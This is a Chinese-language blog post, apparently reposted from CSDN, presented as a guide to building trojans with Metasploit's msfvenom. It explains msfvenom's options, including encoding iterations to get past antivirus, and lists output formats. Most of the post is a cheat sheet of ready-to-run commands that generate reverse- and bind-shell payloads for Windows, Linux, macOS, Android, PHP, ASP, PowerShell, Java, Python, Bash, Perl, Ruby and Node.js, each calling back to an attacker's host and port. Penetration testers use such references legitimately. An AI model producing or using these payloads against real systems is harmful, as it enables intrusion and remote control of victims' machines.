MSFVenom各类环境下的木马制作

        msfvenom:属于是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线常用于生成木马,在目标机器上执行,在本地机器kali中上线,与反弹Shell类似。 MSFVenom可以生成两种类型的攻击载荷:

1、Payload:Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意程序,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为


2、Shellcode:Shellcode是Payload中的,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令之后,才会提供一个命令行shell

Msfvenom用法:

  •  查看Msfvenom自带的帮助说明:

一些参数介绍:

-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定

-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, --nopsled 为payload预先指定一个NOP滑动长度

-f, --format 指定输出格式

-e, --encoder 指定需要使用的编码

-a, --arch 指定payload的目标架构 x64 x86

  -–platform 指定payload的目标平台

-s, --space 设定有效攻击荷载的最大长度

-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;

-i, --iterations 指定payload的编码次数,绕杀毒

-c, --add-code 指定一个附加的win32 shellcode文件

-x, --template 指定一个自定义的可执行文件作为模板

-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, --out 将payload保存到指定的文件路径

-v, --var-name 指定一个自定义的变量,以确定输出格式

–shellest 最小化生成payload

MSFVenom支持生成以下格式的可执行文件:

asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, vba, vba-exe, vba-psh, vbs, war, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd

不同环境下的生成方式:

以下都是生成反弹shell的方式,正向连接用 'bind_tcp' 等


nc:

# nc正向
msfvenom -p windows/shell_hidden_bind_tcp LHOST=<IP> LPORT=<PORT>  -f exe> shell.exe

# nc反向
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT>  -f exe> shell.exe

Windows:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe

Linux:

# x86 自己根据情况调整
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e -f elf -a x86 --platform linux -o shell

mac: 

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho

指定生成 .c 的shellcode:

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b "\x00\x0a\x0d" -a x86 --platform win -f c

 反弹Python Shell:

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > myshell.py

反弹ASP Shell: 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp

or

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp -a x86 --platform win -o shell.asp

反弹PHP Shell: 

msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > myshell.php

反弹Bash Shell: 

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -o shell.sh

Java:

msfvenom --payload="java/meterpreter/reverse_tcp" LHOST=<IP> LPORT=<PORT> -f jar > java_meterpreter_reverse_tcp.jar

Android:

msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> R > shell.apk

PowerShell:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f psh-reflection >5555.ps1

nodjs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.js

Perl: 

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl

 Ruby: 

msfvenom -p ruby/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw -o shell.rb

 参考:offsec的介绍

猜你喜欢

转载自blog.csdn.net/oiadkt/article/details/129416658